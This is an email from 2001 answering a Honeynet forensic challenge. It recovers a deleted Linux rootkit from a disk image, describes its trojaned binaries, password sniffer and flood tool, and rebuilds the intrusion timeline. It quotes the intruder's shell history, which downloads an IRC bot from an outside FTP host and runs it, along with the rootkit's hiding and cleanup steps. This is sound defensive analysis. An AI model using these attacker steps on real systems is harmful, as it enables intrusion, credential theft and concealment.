From alterego@in-box.net Tue May 22 22:38:22 2001 Date: Wed, 9 May 2001 11:13:56 -0400 From: alterego@in-box.net To: lance@honeynet.org Subject: Re: Re: Re: Re: Scan of the month ----- Original Message ----- From: Lance Spitzner Sent: Tuesday, May 08, 2001 4:12:37 PM To: Subject: Re: Re: Re: Scan of the month > I sent you the originial earlier, so you can go off that. > > good luck! > > lance okie, here it is. A bit lengthy and some of the proof circumstantial at best :) 1) Show step by step how you identify and recover the deleted rootkit from the / partition. I used the coroner's toolkit. a) mount the image using loopback and run graverobber mount -o ro,loop,noexec,nodev honeypot.hda8.dd /mnt/test grave-robber -c /mnt/test -m -d . -o LINUX2 b) run ils and ils to get the MAC times for deleted inodes. ils honeypot.hda8.dd | ils2mac > hda8.ilsbody c) Combine the graverobber body file and ils body file together and use mactime to produce a listing of inode MAC times. cat hda8.ilsbody body > body-full mactime -b body-full \ 03/14/2001 > mactime.txt (a bit paranoid, so i started with the 14th) d) Retrieve the deleted inodes from the list and analyze. wrote a perl script to extract dead inode numbers and icat those in the directory called inodes. files inodes/* > filetypes Going through the file types, can see that node 23 is a gzip file. Renamed it to test.tar.gz.and looked at it using midnight commander's tar VFS. Bingo, it is a gzip of directory last and contains some standard rootkit files. Should have put a little time in checking out other tools in TCT and saved myself a lot of trouble. Using unrm honeypot.hda8.dd > out followed by lazarus -h out should produce a very nice html output of all the deleted inodes. Unfortunately I was too impatient for it to finish processing. :( 2) What files make up the deleted rootkit? A ls-al shows -rwxr-xr-x 1 1031 users 1345 Sep 9 1999 cleaner -rwxr-xr-x 1 1031 users 19840 Feb 26 23:23 ifconfig -rw-r--r-- 1 1031 users 3278 Jan 27 23:11 inetd.conf -rwx------ 1 1031 users 3713 Mar 3 11:08 install -rwxr-xr-x 1 1031 users 4620 Feb 26 23:23 last.cgi -rwx------ 1 1031 users 7165 Feb 26 23:22 linsniffer -rwx------ 1 1031 users 75 Feb 26 23:24 logclear -rwxr-xr-x 1 1031 users 79 Feb 26 23:28 lsattr -rwxr-xr-x 1 1031 users 632066 Feb 26 22:46 mkxfs -rwxr-xr-x 1 1031 users 35300 Feb 26 23:23 netstat -rw-r--r-- 1 1031 users 1 Feb 26 23:29 pidfile -rwxr-xr-x 1 1031 users 33280 Feb 26 23:23 ps -rw-r--r-- 1 root root 708 Mar 3 11:05 s -rwxr-xr-x 1 1031 users 4060 Feb 26 23:22 sense -rw-r--r-- 1 1031 users 11407 Jan 27 23:11 services -rwx------ 1 1031 users 8268 Feb 26 23:22 sl2 -rwxr-xr-x 1 1031 users 611931 Feb 8 2002 ssh -rw-r--r-- 1 1031 users 880 Oct 23 2000 ssh_config -rw------- 1 1031 users 540 Oct 23 2000 ssh_host_key -rw-r--r-- 1 1031 users 344 Oct 23 2000 ssh_host_key.pub -rw------- 1 1031 users 512 Oct 23 2000 ssh_random_seed -rw-r--r-- 1 1031 users 688 Feb 26 23:29 sshd_config -rwxr-xr-x 1 1031 users 53588 Feb 26 23:23 top Let's go through them one by one cleaner - sauber log cleaner last.cgi - ask for a command and prints the output. Some remote shell on httpd? mkxfs - sshd daemon, 1.2.27 I guess. s - sshd config file ssh - ssh client ssh_random_seed - self explanatory ifconfig - trojanized ifconfig linsniffer - simple sniffer whose main purpose is to capture usernames and passwords netstat - trojanized netstat sense - makes some sense of the output from linsniffer by sorting it. ssh_config - self explanatory sshd_config - self explanatory inetd.conf - Looks like a standard config file except it runs /usr/cyrus/bin/pop3d. logclear - cleans the tcp.log from linsniffer. pidfile - for sshd services - looks like a normal service file. For irc maybe? ssh_host_key - self explanatory top - trojanized top install - trojanize the binaries and copy the rootkits to directories "/dev/ida/.. " and "/dev/ida/.drag-on" lsattr - script added to rc.sysinit to start the ssh daemon and linsniffer upon reboot. Replaces the standard linux lsattr. ps - trojanized ps sl2 - asks for a src ip, dst ip and high and low ports(?), port scanner or flood tool? strace ./sl2 only shows an exec and an error no such file or directory. I suspected it is slice2, a tcp flood tool for dos and confirmed it through a grep of similar strings in a slice2 binary. ssh_host_key.pub - self explanatory According to the install file, ip addresses and port numbers(?) was stored to /dev/last and process names were stored in /dev/rpm. However, strings and grep analysis of the files failed to reveal these. On the other hand, /dev/caca was found in netstat and /dev/dsx were found in ps and top. These strings were reported in another rootkit on the web (google search). Also, while ps, ifconfig, to and netstat were stripped, the rest were not, indicating that this is a rootkit combined from various sources. I'm not good enough with assembly to confirm my suspicions though. Bonus Question: Was the rootkit ever actually installed on the system? How do you know? Yes. Using midnight commander to navigate the /dev/ida directory, a .. directory and .drag-on directory could be found (mc lists all directories at the top). the tcp.log for the .drag-on directory had some entries inside, indicating some linsniffer activity. Digging further, the following was recovered and identified from the deleted inodes: 2039-ssh 2046-services 2052-sshd_config 2061-mkxfs 2040-pid 2047-sense 2053-sl2 2041-install 2048-ssh_config 2054-last_cgi 2043-cleaner 2049-ssh_hostkey 2058-top 2044-inet_conf 2050-ssh_public_key 2059-logclear 2045-lsattr 2051-ssh_rand_seed 2060-s 23-last.tar.gz >From install, the rm commands were to be executed. rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed rm -rf last lk.tgz computer lk.tar.gz. Digging further, an analysis was done of the mactimes. There would be a change in Mtime if the contents are altered, Ctime if metadata changed and ATime if the file was read. Mar 16 01 09:36:48 /* The first appearance of the rootkit.*/ 520333 m.. -rw-r--r-- root root Mar 16 01 09:44:50 /*Rootkit being untarred? ssh and cleaner were read, possibly ran*/ 611931 .a. -rwxr-xr-x root root 1 .a. -rw-r--r-- root root 1345 .a. -rwxr-xr-x root root 880 .a. -rw-r--r-- root root 344 .a. -rw-r--r-- root root 688 .a. -rw-r--r-- root root 520333 .a. -rw-r--r-- root root Mar 16 01 09:45:02 2048 m.c drwxr-xr-x root root ./mnt/bin 11952 .a. -rwxr-xr-x root root ./mnt/bin/chown /*possible trojanization of the netstat and ps files*/ 35300 ..c -rwxr-xr-x root root ./mnt/bin/netstat 33280 ..c -rwxr-xr-x root root ./mnt/bin/ps 34816 m.c drwxr-xr-x root root ./mnt/dev /*rootkit is copied to both .drag-on and ".. " */ 12288 m.c drwxrwxr-x root root ./mnt/dev/ida 7165 mac -rwx------ root root ./mnt/dev/ida/.. /linsniffer 75 mac -rwx------ root root ./mnt/dev/ida/.. /logclear 632066 .a. -rwxr-xr-x root root ./mnt/dev/ida/.. /mkxfs 4060 mac -rwxr-xr-x root root ./mnt/dev/ida/.. /sense 8268 mac -rwx------ root root ./mnt/dev/ida/.. /sl2 7165 m.c -rwx------ root root ./mnt/dev/ida/.drag-on/linsniffer 75 mac -rwx------ root root ./mnt/dev/ida/.drag-on/logclear 632066 m.c -rwxr-xr-x root root ./mnt/dev/ida/.drag-on/mkxfs 708 m.c -rw-r--r-- root root ./mnt/dev/ida/.drag-on/s 4060 mac -rwxr-xr-x root root ./mnt/dev/ida/.drag-on/sense 8268 mac -rwx------ root root ./mnt/dev/ida/.drag-on/sl2 540 m.c -rw------- root root ./mnt/dev/ida/.drag-on/ssh_host_key /*creation of the stealth process and ip files*/ 87 mac -rw-r--r-- root root ./mnt/dev/last 71 mac -rw-r--r-- root root ./mnt/dev/rpm 3072 m.c drwxr-xr-x root root ./mnt/sbin /*ifconfig trojanized*/ 19840 ..c -rwxr-xr-x root root ./mnt/sbin/ifconfig 4060 .a. -rwxr-xr-x root root 8268 .a. -rwx------ root root 53588 .ac -rwxr-xr-x root root 75 .a. -rwx------ root root /*original netstat, ps, ifconfig deleted*/ 66736 ..c -rwxr-xr-x root root 60080 ..c -r-xr-xr-x root root 42736 ..c -rwxr-xr-x root root Mar 16 01 09:45:03 33392 .a. -rwxr-xr-x root root ./mnt/bin/cp 5760 .a. -rwxr-xr-x root root ./mnt/bin/sleep 1024 m.c drwxr-xr-x root root ./mnt/dev/ida/.. 632066 m.c -rwxr-xr-x root root ./mnt/dev/ida/.. /mkxfs 708 mac -rw-r--r-- root root ./mnt/dev/ida/.. /s 540 mac -rw------- root root ./mnt/dev/ida/.. /ssh_host_key 512 mac -rw------- root root ./mnt/dev/ida/.. /ssh_random_seed 0 mac -rw-r--r-- root root ./mnt/dev/ida/.. /tcp.log 1024 m.c drwxr-xr-x root root ./mnt/dev/ida/.drag-on 7165 .a. -rwx------ root root ./mnt/dev/ida/.drag-on/linsniffer 632066 .a. -rwxr-xr-x root root ./mnt/dev/ida/.drag-on/mkxfs 708 .a. -rw-r--r-- root root ./mnt/dev/ida/.drag-on/s 540 .a. -rw------- root root ./mnt/dev/ida/.drag-on/ssh_host_key 512 .a. -rw------- root root ./mnt/dev/ida/.drag-on/ssh_random_seed 138 .a. -rw-r--r-- root root ./mnt/dev/ida/.drag-on/tcp.log 3072 m.c drwxr-xr-x root root ./mnt/etc /*copying of config files to etc and ensuring trojans restart when rebooted*/ 3278 mac -rw-r--r-- root root ./mnt/etc/inetd.conf 13708 m.c -rwxr-xr-x root root ./mnt/etc/rc.d/rc.sysinit 11407 m.c -rw-r--r-- root root ./mnt/etc/services /*starting the clean up process*/ 3278 .a. -rw-r--r-- root root 79 .a. -rwxr-xr-x root root 11407 .a. -rw-r--r-- root root 4060 ..c -rwxr-xr-x root root 540 .ac -rw------- root root 512 .ac -rw------- root root 8268 ..c -rwx------ root root 75 ..c -rwx------ root root 708 .ac -rw-r--r-- root root 632066 .ac -rwxr-xr-x root root Mar 16 01 09:45:05 19840 .a. -rwxr-xr-x root root ./mnt/sbin/ifconfig 0 mac drwxr-xr-x 1031 users 611931 ..c -rwxr-xr-x root root 1 ..c -rw-r--r-- root root 3713 .ac -rwx------ root root 796 mac -rw-r--r-- root root 1345 ..c -rwxr-xr-x root root 3278 ..c -rw-r--r-- root root 79 ..c -rwxr-xr-x root root 11407 ..c -rw-r--r-- root root 880 ..c -rw-r--r-- root root 344 ..c -rw-r--r-- root root 688 ..c -rw-r--r-- root root 4620 .ac -rwxr-xr-x root root /*finally the tar file is removed*/ 520333 ..c -rw-r--r-- root root The above, although not totally in order, should draw a pretty clear sketch of the activities of between the appearance of the rootkit on / and its eventual demise. It would seemed that the install script was executed after all based on the corresponding changes in the file system with the commands in the script. Besides, the intruder got careless and left this in the root bash_history: exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls Where he seem to be in the act of installing an IRC bot.This should be usually done after the root kit was installed, at least that was what the Romanian guy did when he rooted my server :). The fact that the date stamp of the history file is later than directory .drag-on gives some support to this theory.